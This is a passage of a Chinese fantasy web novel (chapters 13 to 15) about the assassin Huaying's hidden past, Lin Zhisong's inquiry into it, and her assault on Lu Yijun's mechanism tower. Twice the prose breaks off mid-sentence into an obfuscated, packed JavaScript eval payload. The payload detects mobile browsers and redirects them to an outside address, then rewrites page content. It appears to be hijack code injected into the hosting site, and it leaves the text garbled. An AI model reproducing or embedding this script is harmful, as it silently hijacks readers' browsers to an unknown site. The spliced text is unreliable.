陈镜竹连忙说:“不会让你白忙一场的,只要你能救出他们,我把星罗宫天天遭人惦记的十二律杀诀给你,十二律杀诀主杀伐,万物之声皆可为刃,与你最是绝配,唯有我和三名长老才知道它被放哪了,它现在还是安全的。若你觉得这还不够,我把我与几位长老的命弦一起给你,我们活着的所有人,将来定为你赴汤蹈火。” 华盈听完,方才还饶有兴致地等待后话的表情被她妥善收敛,客气地拒绝:“林之凇都不愿与烨都在明面上结怨,更何况是我这样一个势单力薄的杀手?时间不早了,你先休息休息,睡个好觉吧,再想想自己灵力被封锁的难题该怎么解决。” 她说完,起身往门外走去,捡起放在檐下的伞轻松撑开,云一样轻盈的背影在雨中越走越远。 陈镜竹贴在衣侧的双手不自觉握了握,张嘴欲叫出的挽留又咽了回去。 她到底想要什么?! . 林之凇合上处理完的卷牍,催动桌上的留影石,再次把雁回岭上发生的每一幕仔细看了一遍。 五彩晶莹的石头里流泻出一幅精彩又恐怖的战斗之景,华盈纵横于火海,白骨与黑日之下,游刃有余。 逍遥境修行者难求,在迟迟没有新的无上者诞生的这几百年间,逍遥境俨然已成为可以横行大陆的顶尖战力。 任何一个世家宗门,都不会把一个可以撑场子挑大梁的逍遥境藏着掖着,而是会在其突破逍遥境的当天就宣告天下,以示一家势力强盛不可犯。 她怎么被藏了起来? “嘎吱——” 藤椅发出刺耳的一声响。 是苍云息舒展四肢伸了个懒腰。 苍云息一觉醒来,脑子有点发懵,反应了一会才想起自己是来这边等林之凇处理完卷牍,跟他商议毁阵之事的。 他麻溜一换瘫在藤椅里休憩的姿势,坐直了身子,发现林之凇居然还在拿着留影石研究华盈的真实境界。 苍云息想象了一下自己的一招一式都被敌人拿去耐心拆分,被反复研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792530|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究招式流派和破绽弱点,忍不住抹了一把手臂上的鸡皮疙瘩,摇头:“你是真想杀了她啊。” “她很特别。”林之凇顿了顿,“特别危险,是我不想时刻提防的意外。” 苍云息颇觉可惜,理性让他无比希望灵血最好就在华盈身上,夺取灵血的办法也能被无上者顺利研究出来,让林之凇得偿所愿,这辈子少遇见一些不顺心不如意的事儿,毕竟十方雷域已经让他把全天下最大的苦都吃了。 感性却又让他忍不住祈祷华盈不仅跟灵血没关系,还会爽快地同意归顺青要山,跟他共事。 苍云息一直纳闷,崇阿军明明是他自己一手带起来的,可崇阿军上下的行事风格都随了林之凇,一句废话也不爱说。他在明玉月境也没找到几个爱唠嗑的人,觉得这日子过得实在沉闷无聊。 一年之中,他倒是要回苍家几趟。 苍家因为他与林之凇的关系,在二十七氏族中地位颇高,家中上下现在倒是对他客气亲热,兄友弟恭了,但他不怎么喜欢他们。 有些恩怨一旦放下,就是对自己的惩罚。 只要一想起自己为了让别人得到饶恕而违心说出“啊那些事我早都忘记了”,就会被曾经吃过的苦头狠狠嘲笑,会被自我埋怨的情绪重重地扇一个耳光: 你这人故作大度,就是活该。 相比之下,华盈就显得太好了,说话温和好听,行事拿捏有度,又聪明,又厉害,平时能当谈天说地的朋友,刀光剑影里是极具安全感的伙伴。 苍云息心里还真的纠结了一会,片刻之后,他说:“但愿灵血就在她身上,也就不必再为这件事耗费心力了。” 林之凇没听明白他怎么一句话还说出了郑重抉择的语气,他放下留影石,问:“邪阵的位置找到了?” 苍云息清了清嗓子:“不仅是邪阵,那座机关塔也找着了。” 原本以为林之凇会对他故意卖的这个关子感兴趣,没想到对方早就想到了邪阵与机关塔本就不是不可分割的一体,神色淡淡地做决定:“沧州大雨由邪阵而生,至于机关塔的作用,应该是用来防止那些虚无之物在被星罗宫长老彻底吸收之前湮灭。有生灭令护阵,陆逸君会亲自去守机关塔,我们去毁阵,反而轻而易举。” 苍云息觉得两边都是令人头皮发麻的难题,还好林之凇没打算管机关塔的闲事。 “邪阵布置在步星潭中,机关塔就在临春楼东边不远的红枫林。”苍云息把消息全都原样告诉他,“如果要毁阵,我多带几个人去就行。” 林之凇说:“我亲自去。” “你身体恢复好了?”苍云息挑挑眉,不信。 林之凇停顿了一下,略一颔首,应了他的话,决定:“明晚。” “行。”苍云息起身准备离开,督见他放在桌上的一瓶药。 林之凇爱干净,住的地方总是按照自己的喜好收拾得整洁有序,样样东西都各有其位。 譬如这瓶药如果用不上的话,绝对不会出现在他这张桌子上。 “圣玉莲粉?”苍云息多看了一眼那只造型特殊的白瓷小瓶,认出那是专门用来消除伤疤的灵药,“你受伤了?” 林之凇声线清透,有一种说到无关紧要之事时的漫不经心:“武梦给它改了方子,我没试过效果,你随便找个人试试。” “正好,那我给华盈拿去,她胳膊上不是有一大条口子么。” 苍云息拿了药瓶就走,出门没多远,正好瞧见一名崇阿军战士大步奔向他住的那间院子。 步子急匆匆的,差点和刚刚换值的修行者撞上。 苍云息眉头一挑,把人叫了过来。 战士向他呈上了一封信。 “将军,我们查到了一件旧事,也许与华盈姑娘的身份有关。” 13. 第 13 章 风雪呼啸,屋外的枯树发出沉闷的折断声,溅起漫天雪雾。 华盈知道这是在梦里,是一百年前的一桩噩梦。 琉州一带被百年不遇的大雪封锁成了惨白的地狱,梨花镇也在其中。 天寒地冻,饥荒席卷,一身灰衣洗得有些发白的男人把她放在背篓里,背去了镇上的饭馆,那里有许多饥寒交迫的人用哭得伤心裂肺的孩子和妻子来交换逃出琉州的盘缠,或者能挨过这个冬天的口粮。 华盈这时只有十岁,骨瘦如柴,安安静静蹲在背篓里的样子像是一堆轻飘飘的枯草。 风雪透骨冰寒,吹得她双眼刺痛,一会就流下了泪。 她揉了揉眼睛,小声胆怯,又有点开心,问:“商叔叔,我们要离开梨花镇了吗?要去哪?能不能去一个没有冬天的地方?” 商远走得很慢,每一步都像是在已故之人的逼视下难堪地挪行,让他心里倍受煎熬。 他正值意气风发的大好年华,脊背却佝偻着,嗓音也粗哑疲惫,和那些在尘世间摸爬滚打艰难求生的普通人已经没有了任何区别。 再也没有人看得出他曾是北荒商家那位意气潇洒,前途无限的贵公子。 他回了回头,能督见背篓里小姑娘亮晶晶的眼睛。 北荒领主江如晔之女,惩天之体,因为出生时就把双生姐姐的本源髓抢夺走了一小部分,表现出失控、杀戮和掠夺的倾向,加之江家有长老预占出她将来会令江家数百年的谋划功亏一篑,被视为不祥。 江如晔亲自下令诛杀,并且对双生子一事下了封口令。 而她的母亲闻锦因此和江如晔决裂,违逆江家的诛杀令,摧毁浮雪之巅及山下琼英城的攻守大阵,带着孩子离开了江家。 闻锦杀了阻拦在前的一名长老,重伤了捉拿她们的许多江氏弟子,令江家损失惨重,与江家发生了不可挽回的冲突,从此日夜都在江家精锐源源不绝的追杀中度过。 到了后来,闻锦频频受伤,难以支撑,最终决定牺牲自己的性命,用以隐藏她的气息,把她交给一个信得过的人。 他是闻锦的昔日好友之中,唯一一个敢暗中联系她,问她与江家之间究竟发生了什么,最后还敢接下这个麻烦的人。 商家不敢得罪作为北荒之主的江家,他因此被家族割席,被抹杀境界逐出家门,流亡街头,失去所有财富地位与倚仗,最后成了躲藏于山野的一介布衣。 商远对上华盈乌黑的眼眸,压抑在心底的复杂情绪将他千刀万剐。 他对这个小姑娘从一开始的珍视保护,到最后视她为累赘,厌恶,后悔,却又被当初对闻锦许下的承诺反复折磨。 今日终于决意寻求解脱。 商远把背篓放了下来,掏出里面的几根麻绳,在华盈瑟瑟发抖的目光中,用力捆了住她的双手双脚,像是在绞杀自己最后的一丝犹豫与良知。 “对不起,但我已经让你多活了四年,你也该还我自由了。” 华盈记得自己当时啜泣着说了很多讨好求饶的话,就算是时常面对商远毫无预兆的凌虐,她也从来没有哭得如此凄惨无助,一路上对着白茫茫的天空哭着喊了好多声娘亲。 最后她被关进了一只破破烂烂又臭烘烘的笼子里,里面有好几个小孩子瑟缩着挤在一起,他们就像待宰的家禽。 供有钱的人争抢挑选,在屠夫的大刀下碎尸万段,喷溅的血珠与一晃而过的刀影也落到华盈的脸上。 华盈从梦中惊醒,晃动在眼前的那一缕寒光,其实是透过摇曳的树枝洒落下的柔软月色。 她抬手擦了擦眼睫上蒙蒙的水汽,烛台的光已经快要燃尽了,角落里有寸心简光芒闪烁不停。 华盈拿起寸心简,起身点上了一只新的蜡烛。 烛火通明,林之凇把阅后的信纸投入了火光中。 “梨花镇那个屠夫是被一个小姑娘杀死的?”他向那名负责查探此事的战士确认,声线清透,像是从多年前的梨花镇里带出了干净冰凉的雪雾。 信的最后提到了那号啕大哭的小姑娘身上爆发出了一阵刺得人睁不开眼睛的光,光影中刀剑铮鸣,原本要举刀杀她的屠夫尸首分离。 与惩天之体的力量在一个小孩子体内失控爆发的特征很吻合。 被问话的这名战士名叫闻旸,是崇阿军的副统领,他性子沉稳,曾经让不少人认为他比苍云息更像一军之领袖。 闻旸接了苍云息的命令之后,就把自己的空闲时间全都扑在这件事上了,为了早点查出些有用的东西,夜里也熬得狠,眼里都是血丝,原本威风凛凛的模样不复,在打起精神踏进这间屋子前,其实很像暴晒了一天的蔫茄子。 他点头:“当年亲眼见到这一幕的人只有那几个孩子,其中侥幸活下来的只剩一个,他后来成了破军门弟子,步入修行,寿命得以长久,活到了现在。我用镜火确认过他的回答,没有问题。” 但他知道林之凇紧接着就要问什么,露出一丝难色:“把她卖去饭馆的那个男人的线索还没有找到,时间过了太久,镇上的人当年死的死,逃的逃,活下来的又都是普通人,寿命早已耗尽。那个破军门弟子当时不过五六岁,也记不太清他和那小姑娘的样貌。” 线索断在这里。 林之凇解下自己的腰牌扣在桌上:“回去请二长老出面,用追影术让他回溯记忆,把那个男人和孩子的样貌画出来。” 闻旸接了腰牌,领命欲走,刚转身就被他叫住。 “北荒那边有什么线索?” 他沉声回答:“属下查了北荒这三百年间诞生的体质特殊之人,只查到一个江璧月。” 江璧月拥有本源髓。 本源髓的拥有者对亲眼见过的百家术法过目不忘,无师自通,学什么都厉害得没边。 传说把本源髓的力量发挥到极致的人,可以在眨眼间构造出眼前所见的术法,相当于直接复制对手的攻击。 江璧月当年携本源髓出生的消息可谓轰动四方,让千家百门又嫉又恨,北荒江家那群长老从此走路都鼻孔朝天,自以为北荒将来在大陆再无敌手。 因为本源髓,无数修行者对江璧月的真正实力推崇至极,但林之凇没怎么把江璧月放在眼里。 以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792531|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江家爱出风头又张扬的风格,只要江璧月把本源髓的力量修到了前人莫及的程度,还不说修至顶尖,定然也会昭告天下大肆炫耀一番。 可这么多年过去了,江家对此毫无动静,江璧月甚至在很长一段时间里,都不是北荒准备择定的下一任领主,与江家那几个出挑的同辈斗得遍体鳞伤。 在林之凇眼里,这要么说明江璧月实在是个废物,仗着北荒大小姐的身份享用了北荒最多最好的资源都没能把本源髓的力量发挥到极致,要么她的本源髓有问题。 闻旸顿了顿,明知林之凇不爱听一切不确定又没有实据的回禀,却不敢隐瞒或辩解:“但属下发现江璧月的母亲闻锦当年与北荒决裂一事有蹊跷,似乎不是江家对外公布的那个原因。” 不是在北荒卧底多年只为盗走江家的至宝天机心。 林之凇探究的目光扫过来,与生俱来的压迫感就在屋子里凝成了令人溺亡的海。 闻旸心头一凛:“此事还需细查,江家瞒得很死,属下原本就打算梳理清楚之后再向少主禀报,恳请少主再宽限五日。” “退下吧。”林之凇凛冽的目光撤走,起身走到窗边,望向黑夜里连绵不绝的大雨。 半晌,扫了眼隔壁院子里新点起的那盏灯。 华盈在灯下坐了一会,等到烦躁又无助的情绪完全平复下去,点开寸心简看了看。 「姑娘,能暂时抑制恨生蛊发作的药已经差人给您送来了。明日卯时,青梧巷」 「此药的效果只能持续一个时辰,药效消失之后,反噬会比恨生蛊发作时的疼痛更严重」 似乎实在不放心,又久未等到她的回复,对方再次发出提醒。 「姑娘慎用」 华盈仔细看完,给远在千里之外的人回了一条传文。 「记下了,放心」 . 曦光初浮,天悬残星。 天色仍笼罩在灰沉沉的暗色中,四周的一景一物都还有些模糊,华盈洗漱妥当,在窗边看了眼院子外把守的人,直接开了传送阵去了青梧巷。 长青城中有热闹繁华的无限风景,自然也有寂寥荒芜的背面,青梧巷就是后者。 它就在城主府的后方,受灾倒塌之后,很少有人再来这里晃悠,只有巷子口摆着一两家卖早点的摊子,还冒着点烟火气。 雨还在下,城里到处都还是坑坑洼洼一片,难民们的呜咽与祈祷声让整座城都被笼罩上了一层乌云,但普通百姓的营生还要继续,因为眼前的苦难而不敢再出门,才是死路一条。 华盈从巷尾往外走,经过墙上一块布满青苔的青砖时,屈指敲了敲,手掌覆盖在砖上用力,特制的青砖表层碎裂,露出空腔,里面是一只小小的锦盒。 华盈心情愉悦地收了锦盒,往巷子外的馄饨摊去,脚下的积水中突然多出一道影子。 扭头,林之凇就站在她身旁,微眯着眼。 华盈不确定这个人刚才有没有看见什么,在他开口质问之前,反客为主,笑语比春风摇动的檐角风铃还要好听: “林少主是来陪我吃早点的吗?” 14. 第 14 章 林之凇一听到华盈客气温柔地叫他“林少主”,就有一种要被算计的危机感。 然而华盈真的只是去早点摊找了个位置坐下来,叫了两碗水滑面,双手撑着下巴,期待又专注地盯着锅里飘出的香喷喷的热气。 林之凇在一旁落座,顺着她的视线看了一眼,最后盯着远处收容难民的棚子,罕见地主动挑起了话题:“沧州水患造成的死伤,不亚于一百年前琉州一带的那场雪灾。” 华盈眨了眨眼,唇角微微一弯,知道他查到哪了。 她放下的双手交叠在膝上,看向林之凇,目光快速地闪了闪,似乎被这个话题打了个措手不及,想了想才淡淡地接过话,似陷入回忆:“是呀,当年那场雪害死了好多人,否则我也不会沦落到变成一个杀手。” “你是琉州人?”林之凇接过她的话,“你的家人都没有走出琉州?” “没有家人。”华盈猜到林之凇的线索断在哪了。 她捧着一杯热水,心平气和地回忆着,“抚养我的是一位叔叔,那场大雪之后,我们各奔东西,后来我听说他终于回到了他阔别多年的家乡,可不知为什么,他没过多久就在家自缢了。” 华盈说着,目光落在自己在杯中的倒影上,似乎能从自己的眼瞳里再度看见商远把她交给饭馆换取银钱时,没有任何表情的一张脸。 商叔叔,可你在选择自尽那时又是什么表情,是在后悔,还是在害怕? 天下之大,少小离家又在回乡后意外离世的人不知有多少,都埋在无人问津的时间里。 一百年前,林之凇也不过十一二岁,但有一件类似的事情因为发生在北荒鼎鼎有名的商家,让他还有几分印象。 北荒强者遍地,大大小小的宗门世家正值鼎盛,商家就是其中之一。 当年商家大公子商远身上发生了两件轰动一时的大事,一件是据说商家的宿敌用阴损伎俩将他这个风云人物拖入了无底深渊,商家把大陆翻了个底朝天也没找到人。 另一件是他四年后竟然逃了出来,拖着病骨残躯重回商家,没过多久却自尽了。 一旦把商远的名字与一身谜团的华盈大胆地联系在了一起,林之凇似乎碰到了一层遮掩真相的屏障,惊疑之后,血液都在加速流动。 林之凇此刻有许多耐心,按耐住眼底的一丝兴奋之色,顺着她的话追问下去:“他的家乡在哪?你若是想知道他为何自尽,有没有蹊跷,我可以帮你查查。” 华盈却什么也不肯再说了,多说一句都是危险。 她只是笑盈盈地望着他,摆明了要用这副温温柔柔糊弄人的态度把一个势在必得的人耗得知难而退。 林之凇不是没遇上过她这类嘴严的人,他的耐心有限,以往的手段都是直接上刑把人击溃,对上华盈却有些气闷。 若不是为了灵血……真是该死。 恰好老板娘端了两碗煮好的面过来,华盈开开心心地伸手接下,毫不在意林之凇刀子一样直刺过来的眼神,心满意足地吃起了早饭。 林之凇气极而笑,埋头吃了一口面,眼不见为净。 他抛出最后一句话:“今晚亥时,跟我去一趟步星潭。” “毁阵?”华盈反应很快,她微微瞪大了眼睛,连忙摆摆手,“先说好,我只管在一里范围之内等着你,不会插手任何事,那邪阵里有生灭令护阵,给多少酬金我都不会接的。” 她仰着脸,宛如迎着晨曦挂了露水的白茉莉,林之凇盯着她纯澈无害的脸庞,冷笑了声。 你就装。 . 华盈回到院子,见到窗台上摆了一只小瓷器,下面压着苍云息留的一张纸条。 正面:林之凇要拿你试药。 反面:你试试涂伤口上? 华盈对这位苍家小将军爱捉弄人的幼稚行为莞尔一笑,她收了瓷器,进屋刚打开锦盒看了看里面装着的一枚药丸,门外就有侍从来敲了敲门。 “华盈姑娘,陈公子想问问他能不能见你一面。” 华盈收好东西,去了一趟听水苑。 把守在陈镜竹屋外的青要山修行者严格限制了他的自由,惶惶不安的情绪在一夜间就能把人逼得崩溃。 一见到华盈进了屋,陈镜竹连忙起身迎她,顺带着把门给关上了。 他哭丧着脸:“华盈,我还以为你真的不打算管我的死活了,我一宿都没睡,生怕自己什么时候死的都不知道,我这是才出龙潭又入虎穴啊!” 隔绝一切窥听的结界将整个房间包围得严丝合缝,华盈给他比了个打住的手势,她从街上回来还没来得及喝一口热水,于是自己动手,拧起桌上的茶壶去洗了洗。 “陈镜竹,我以为昨天我们聊得很清楚了。” 华盈接了一壶清水回来,往小炉子上一放,没过一会,丝丝缕缕的热气就在她面前飘散开了,袅娜的白雾如纱罩着她的表情,那种朦胧的距离感仿佛是来自天生的上位者。 陈镜竹原本还抱有一丝侥幸的表情有些僵硬。 她的态度的确明明白白,十二律杀诀,她其实瞧不上,他与几位长老的命弦倒是有些意思,不过没那么值得她心动。 可她是他必须要抓住的机会。 从陆逸君与一众烨都长老眼皮子底下救出几个长老,这件事的风险太大了,换作旁人,想都不敢想。 几位长老被作为容纳虚无之物的器具,身体定然已经孱弱不堪,在战场上根本帮不上她的忙,说不定还会在她失败欲逃时成为拖累。 陈镜竹想来想去都是死路一条。 他咬咬牙,拧起炉子给华盈倒了一杯水,态度放得很低,几乎是恳求的语气:“华盈,只要你把几位长老救出来,我把沧州五城都给你。” 华盈笑着说:“你想好了吗?” 陈镜竹疑惑地看着她:“你竟然没问我怎么能笃定拿得回沧州?” 华盈嗓音清冽干净,唇角常常弯着温柔的弧度,说话时总给人一种娓娓道来的舒适感,让人不自觉倾耳细听。 “从昨日救你回来,你就一心想着怎么让我答应救出几位星罗宫长老,对沧州被林之凇接管一事表现出的情绪好像还差了点什么。沧州是什么地方,它在你心中的地位难道与星罗宫比起来就不值一提吗?我唯一能想到的解释,是你很乐意看见林之凇出钱出力治理沧州水患,之后坐享其成,用你们星罗宫胸有成竹的法子,把沧州再拿回来。” 陈镜竹露出惊悚的表情,脱口而出:“华盈,你聪明得让我害怕。” 华盈笑了笑:“我能想到这些,林之凇就想不到吗?” 陈镜竹脸色惨白。 林之凇绝对会在解决了水患之后,见一切尘埃落定,杀了他。 华盈又平静地丢出一个惊雷:“他今晚就能让这场雨停了。” 陈镜竹像是被戳破了的气球一般泄了气,他瘫在椅子上,缓了半晌才有力气抬眼看看华盈,回答她刚才的问题:“我想好了。如今我已在死局之中,我若坐以待毙,林之凇杀了我之后,指不定就会因为星罗宫碍眼而将它一并扫除,沧州也就这样不明不白的就丢了。可我若把沧州送给你,我至少能保下星罗宫。” 求人的滋味太过苦涩,他迎着华盈的目光,呼吸顿觉无比艰难。 她就安安静静地坐在那,一句逼迫的话也不说,任何要求也不提,就让人不得不把最值钱的家当上赶着双手奉上。 华盈恬淡的笑意终于加深几分:“好啊,成交。” 陈镜竹提在喉咙口的一颗心终于落了地,第一个反应竟然是无比庆幸自己猜对了她想要什么,而不是沧州真丢了。 他喘喘气,朝华盈行了一礼:“多谢。” 华盈放下茶杯。 “事成之后,沧州的掌控权明面上暂时仍然在你们星罗宫,我何时想取,会提前知会你一声。” 她起身往屋外走,结界随着她最后一个话音落下而破散,“今晚卯时之前,给你家的那些长老想一个藏身的地方。” 陈镜竹听得头皮发麻,抬起袖子擦了擦额上细密的冷汗。 他听懂了暗示,他得先想办法让自己从这间屋子里出去,让她看看他的真本 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“去查,陈镜竹究竟得到了什么人的庇护。”陆逸君扭头吩咐侍立在一旁的心腹,咬牙切齿地挤出一句话,“不管是什么人,出自哪家势力,敢三番两次与我作对,别想死得太容易。” 这次随陆逸君一起来长青城的烨都长□□有七位,剩下三人的脸色也不好看,无论朝那四位长老动手的是什么人,都是在打烨都的脸。 五长老微眯着眼,越往远处想,越是被危机感包围。 “公子,长青城中,如今除了少数因为灵气失序而被困于此的低境修行者和星罗宫的那一盘散沙,就只剩下青要山的人。林之凇阴险狡诈,睚眦必较,他在水下见过机关塔,也许顺着机关塔查出了些什么东西,又为了报恨生蛊之仇而两次挑衅我们,不是没有可能。” 陆逸君冷哼了一声,阴沉的目光里涌现出几分嘲弄:“不可能是林之凇动的手,他才是最盼着星罗宫上下死绝的人,即便因为恨生蛊记恨我,也不可能冒着与烨都撕破脸的风险非要救陈镜竹。再说了,他若真查到了什么蛛丝马迹,更应该感谢我,替我隐瞒才是,若不是这场雨,他哪有机会浑水摸鱼入驻沧州?” 八长老听完,垂眼摇了摇头:“公子,控改风雨之阵绝不可以让任何人看见,否则烨都定然会受到拖累。若是林之凇当真察觉到了什么,我们现在就应该商议对策,是想办法杀了他,还是借和谈之名拉他下水,务必早做决定。林之凇心机深重,一旦被他抓住把柄,他会千方百计寻一个时机,以护卫天地,为苍生寻公允之名,对烨都下手。” “急什么,不是已经找好了替死鬼?”陆逸君本就烦躁不悦,被八长老语重心长地念叨,心里更是堵得慌。 他何尝不知自己在沧州所做之事是外人触之必杀的秘密,但如果对手是林之凇,危机感翻倍的同时,他又燃起一丝前所未有的,跃跃欲试的战意。 陆逸君虽然暴躁易怒,但不是分不清轻重又没有头脑的莽夫:“我去给阵法和机关塔加固结界,五长老,有劳你亲自去一趟城主府,探探林之凇这几日的动静。” 轰隆——! 惊天动地的爆炸声从步星潭的方向传来。 “步星潭?!”三位长老脸色煞白。 陆逸君脸上所有的表情全部消失。 他猛然推开挡在身前的侍从,阔步出门,暴戾疯狂的气息顷刻间从体内迸发而出,碧海清风扇光芒绽放,柔和如水的力量试图将那些恐怖的气息层层包围、吞没,却无论如何都压不住。 “公子、公子!”慌慌张张前来传讯的侍从刚进了院子,一见到陆逸君携着满身杀戮气息从屋子里走了出来,吓得连连后退几步,差点连嘴边的话都忘了,“有人一掌击碎了红枫林外的结界,闯进去了!” 今夜足以让一切功亏一篑的意外之事接踵而至,暴怒之下,陆逸君的气息都变得紊乱,扭头看了眼红枫林的方向。 红枫林与临春楼很近,耀目的雷光从积满风雨的云层中撕裂而下,照亮一道纤细轻盈,却睥睨万物的身影。 15. 第 15 章 陆逸君盯着夜幕中如箭矢般一掠而过的那道身影,呼吸霎那间静住,眼里的怒火似乎要点燃天地。 控改风雨之阵有生灭令相护,谁闯谁死。 即便真出了岔子,被毁于一旦,烨都还能重觅一处合适的州城再重新起一次阵。 但机关塔那边却容不得有任何闪失。 除了剩下那六个星罗宫长老的身体之外,世上不会再有更完美的容器来存放虚无之物了。 陆逸君瞬间做好决定。 “三长老,领一队人去步星潭看看是什么人活腻了,无论是谁,直接斩杀。剩下的人跟我走!” 红叶燃如火,夜雨逐惊雷。 华盈漫步往林子深处走去,灵力以她为中心荡漾而出,如发怒的浪潮般凶猛浩瀚,永无穷尽。 灵浪无差别横扫四野,朝她围杀而来的烨都修行者们身子一顿,笔直而僵硬地跪倒在地,了无生机。 牢牢遮掩住机关塔的那道水涟屏障也脆声破裂,华盈来到它面前,瞧见曾被林之凇打破的塔身不仅在这三天之内又被修补得完好无损,还被一层层逍遥境的力量加固了一番。 她赞叹般点点头,猛然击出一掌。 一道两指宽的裂纹从她出掌的地方不断往高高的塔尖上蔓延生长,塔身发出不堪重负的嗡鸣,即将一分为二。 被惊动的骨萤一刹间振翅四散,似夜色里起伏的璀璨群星,粉碎在灵浪之中,星芒坠落。 华盈手指抚了抚那道不断扩大的裂痕,倏然用力,无数木制齿轮轰然崩裂,残破的木块漫天飞溅,六道人影出现在溃散的障眼术中,盘腿而坐,神色木然。 华盈正要抬脚进去把人带走,冲天而起的水墙将她拦下,透明柔软却坚不可摧,飞溅出的水汽锋利如刃,削断了她飞扬在大风中的一缕头发。 华盈眸光骤变,回头看向风雨中携一身杀气而来的陆逸君。 “我当是什么人,原来是被木灵锁链栓过的野狗。” 陆逸君乌沉沉的眼眸中风雨骤急,下巴微抬,天生的不可一世,“你在林之凇手下都逃不过,竟然还敢来我这放肆,是什么人的命令让你连死都不怕?” 华盈扫了扫他身后两名蓄势以待的烨都长老,扬了扬唇,轻声却危险:“原来没剩几个长老了啊,真是抱歉。” 陆逸君勃然大怒:“竟然都是你干的?!” 他飞身朝着她杀去,身形快如雨夜中的一抹雷弧电光,碧海清风扇上附着了一击必杀的力量,酝酿出足以拔山摧峰的海上风暴。 华盈半步不退,迎击而上。 两道身影笔直而迅猛地撕开夜幕,带出一片尖利的啸音,巨大又恐怖的响动惊醒了长青城里的所有人。 两名长老也同时动手,一左一右围困上前。 陆逸君很喜欢看别人抱着同归于尽的心态妄图拉他陪葬,最终却不得不认清实力如隔天堑,只能不甘又怨恨地看着他将自己轻易碾为肉泥。 他倨傲的目光扫过华盈灵力涌动的手掌,轻慢地上移,盯着她近在咫尺的脸庞,一字一句道:“身份,目的,说不说?” 话音戛然而止。 因为华盈的手掌与他拍击而下的扇面悍然对撞,爆发出的一道力量甚至直接盖过了逍遥境修行者的锋芒,让扇上的风暴散作一场哗啦啦的大雨浇下。 一道强大得不真实的杀伐之力。 轰隆隆的撞击声响彻此方天地,刺目的灵力光芒将二人笼罩。 城中人惊恐又好奇的目光都已投向了红枫林,其中有不少滞留在城里的修行者,凭借敏锐的五感,看清了搏杀在风雨中的人,倒吸一口凉气。 陆逸君身形在半空中退了几步,眼睁睁看见岿然不动的华盈化掌为拳砸在两位长老的身上,血肉四溅。 而后她朝他讥讽勾唇,折身甩出一道灵力,打碎了水墙,朝着木石一般僵硬的六个人影掠行而去。 不仅是陆逸君,无数双目光全都聚焦在华盈身上。 逍遥境长老本就是令人难以匹敌的存在,陆逸君更是无上境之下足以碾压一切的逍遥境最强者之一,而她以一敌三,从容过招,她到底是谁?! 陆逸君骄傲的表情头一回消失得一干二净,脸色凝重,眼里却又有遮掩不住的兴奋之色闪烁。 他双手结印,碧海清风扇展开在半空中缓缓旋转,融入他身前的一片水色漩涡之中。 一种诞生于混沌未知之地的古老力量强势接管了这片战场,似乎有来自无底深谷的水流声灌入了华盈的脑海,恍然间如闻江河浩瀚之意。 华盈漠然地转身回来面对陆逸君,瞧见一条蜿蜒的水流从地心涌现而出,盘旋往上,环绕在他周身。 水流平缓,来自于传说中的万物终极之地,明明是在缓慢流淌,千万颗水珠却发出恐怖的挤压怒吼声,让人心里发怵。 巨大而残酷之物在水中腾飞的吟啸声越来越近,一条九首蛇身的东西从水流中露出了身形,样貌狰狞丑陋,散发出的威压却恐怖万分。 九双眼睛同时睁开,威严、傲慢、残忍、疯狂、戏谑、暴戾、冷漠、野蛮、轻佻,它们高高在上地直视华盈,令人毛骨悚然。 心智不坚者,早已在它们的注视之下心神俱裂,癫狂失智。 长青城中的无数人都在此刻的惊悚中不敢喘气。 世间无上者稀少,一个宗门或世家能得一位无上者坐镇,便可屹立数百年不倒。四大世家各有两位,剩下三位也各有归属。 无上者之下,逍遥境修行者就算作顶尖之人。 而在逍遥境之中,四大世家又各有视若珍宝的年轻人,他们是万众瞩目的风云至尊,不可逾越。 譬如这些日子就在长青城的陆逸君和林之凇。 那女子对上陆逸君,必定死路一条! 陆逸君居高临下地睥睨华盈,脸色阴冷得可怕,说话间都带着难以忍受她再多活一刻的燥意:“你不肯说也没关系,我不管你是从哪冒出来的逍遥境,知道了我这的什么秘密,杀了你就什么麻烦都没有了。” 水色光晕笼罩在他全身,如覆寒霜。 华盈也感受到了九头蛇带来的压力,她并未大意,盯着脱离流水朝她俯冲而来的九头蛇,抬手结印。 磅礴的灵力顺着全身脉络往她双手涌去,指尖覆满火红的光晕,一只只红色的萤虫出现在光团之中。 萤虫随着她呼吸的节奏而明灭闪烁,如饱满晶莹的石榴籽,大雨冲刷不褪它明丽漂亮的颜色,也无人敢以渺小脆弱来形容它,因为它的名字——俱焚。 “我原本不想杀人的。” 华盈目光落在陆逸君身上,身前有危险庞大的九头蛇扑咬而来,九双密集的目光令她周身的灵力流动都变得迟缓,獠牙尖端滴落着毒液,蛇身疾行时撕裂空气的声音灌进华盈耳畔。 她恍若未觉,轻笑道,“但沧州死了这么多人,我想替他们讨一个公道。” 陆逸君确定她知道了一些秘密,她必须得死。 红色的萤虫从华盈手中成群飞出,朝着九头蛇而去。 她根本不怀疑它们与九头蛇的胜负,转身凭借神鬼莫测的身法斡旋于趁机围杀她的两个长老之间,眨眼间已与二人交手数十招,攻势精准狠毒,招招见血。 其中一人肋骨寸断,吐着血从半空中摔了下去,昏厥不醒。 另一人的手臂被华盈反制在后,重重扭断,她轻笑着开松手,抽出匕首朝他咽喉割去。 